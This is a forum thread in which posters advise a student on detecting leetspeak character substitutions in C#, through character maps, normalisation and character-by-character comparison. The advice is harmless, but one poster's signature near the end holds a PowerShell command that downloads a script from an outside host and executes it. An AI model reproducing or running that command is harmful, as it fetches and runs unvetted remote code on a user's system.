hello.
currently me and my friend are developing some programs for college task. but we're stuck on how to detect possibility of a string in text might have replaced. here's an example
we have this string "awesome" and we want to detect if it value is "awesome". but we're also trying to detect if it's vowel alphabet have replaced like "awesom3", or "aw3s0m3" or "4wes0m3" or "awes0me" etc.
so if any of the string above still read as "awesome" even the vowel alphabet has replaced, the output is true.
we're stuck on how to code that in c#.
I hope you guys can understand my english. thanks
Sep 26, 2018 10:21 AM
(This post was last modified: Sep 26, 2018 10:22 AM by 0xDEAD10CC.)
What are the possible replacement characters? Looks like only digits there which would make this a trivial task. Otherwise you could create a character map/tree that would define common combinations of letter sequences and use this data to check for the amount of error you determine is feasible to say that it had been replaced. English is a tricky language though, if you're doing this with accuracy download and use a dictionary as the database.
Sep 26, 2018 12:10 PM
(This post was last modified: Sep 26, 2018 12:12 PM by Anon?M ID.)
so here's some of the vowel alphabet that could be replacement
a = 4 or @
i = 1
u = -
e = 3
o = 0
but there's some alphabet that could be covered with number or symbol as well :
b = 8
s = 5
t = 7
g = 6
(Sep 26, 2018 11:15 AM)Makhnovist Wrote: You can go through the string and replace the alternative characters with the original (for example replacing 3 with e, 7 with t, et cetera) before doing the string comparison.
You could also create a custom string comparision function by converting the string to a char array using ToCharArray(), and then loop through it, making comparisons using switches instead of just using with something like this.
Code switch(real_char){
case "o":
if (input_char != "o" && input_char != "0") return;
break;
default:
if(input_char != real_char) return;
break;
}
yeah we did. but eventually it didn't work very well and it's took a long ass code to make it. but we're still figuring it out manually or sequentially using string replace alternative, and hopefully anyone here can help us out with other way to do it in effective ways
You could do something along the lines of this
then use the new "normalized" string to do whatever checks you need to do.
Lotta blood to let, peace to make, give a fuk about a check
(Sep 26, 2018 07:17 PM)Makhnovist Wrote: Might not be the best solution since there are chars that can be normalized in multiple ways, for example 1 can be normalized as both I, L or J.
Its not a working solution, just somewhere to start.
Lotta blood to let, peace to make, give a fuk about a check
Sep 28, 2018 03:49 AM
(This post was last modified: Sep 28, 2018 05:31 AM by SL x TnT.)
Create a dictionary of replacements for all your characters. Include the originals. For example, "a" can have "a," "4," or "@."
Loop through your string's characters.
Check to see if there's any alternatives for the character.
- If there is, check all alternatives for a match. If there isn't, make sure the characters match.
- - If there's a match, see if the next character matches. Continue doing that until you either found your search string or it fails. On failure, continue searching your string where you left off.
- - If none match, continue searching your string.
Better than trying to replace the characters to make the string "normal".
not very good when it comes to this type of stuff but cant you just make a char array for every possibility single char can be. and the input string will go through each char and if that char is a for example "a" itll look into the "a" char array and see if it matches the a's possibilities and if it does then itll continue the search in the string for every char until it returns a false?(note: this might sound totally dumb but its the best i got)
So your task seems to be way open, could you mind clearing it up a bit? So are you trying to determine if a word has character replacement or are you trying to fix a word that has character replacement? Do you have a present of characters that can be in the string or is it just a wildcard of characters?
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"![[Image: f4hRdFS.gif]](https://i.imgur.com/f4hRdFS.gif)
This was call leet speak, and here is a class that do exactily what you want!!!
pastebin .com/WnpRmaTe
|